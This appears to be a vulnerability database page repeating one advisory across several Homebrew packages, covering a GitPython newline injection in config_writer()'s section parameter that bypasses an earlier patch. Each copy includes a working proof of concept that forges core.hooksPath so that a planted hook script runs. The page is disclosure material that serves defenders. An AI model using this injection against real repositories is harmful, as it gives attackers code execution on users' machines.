The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "conda-lock",
"purl": "pkg:brew/conda-lock"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "4.0.0_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-conda-lock-CVE-2026-67326",
"modified": "2026-09-20T10:47:43Z",
"published": "2026-08-13T16:41:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CRUFT-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-20 12:11 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cruft",
"purl": "pkg:brew/cruft"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.16.0_9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cruft-CVE-2026-67326",
"modified": "2026-09-20T12:11:57Z",
"published": "2026-08-13T16:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CYCODE-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:42 – Updated: 2026-09-20 10:52 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cycode",
"purl": "pkg:brew/cycode"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.5"
},
{
"fixed": "3.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cycode-CVE-2026-67326",
"modified": "2026-09-20T10:52:03Z",
"published": "2026-08-13T16:42:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-DSTACK-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:43 – Updated: 2026-09-20 10:48 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "dstack",
"purl": "pkg:brew/dstack"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.14"
},
{
"fixed": "0.20.19_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-dstack-CVE-2026-67326",
"modified": "2026-09-20T10:48:17Z",
"published": "2026-08-13T16:43:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-DVC-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:44 – Updated: 2026-09-20 12:08 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "dvc",
"purl": "pkg:brew/dvc"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "3.67.1_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-dvc-CVE-2026-67326",
"modified": "2026-09-20T12:08:54Z",
"published": "2026-08-13T16:44:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.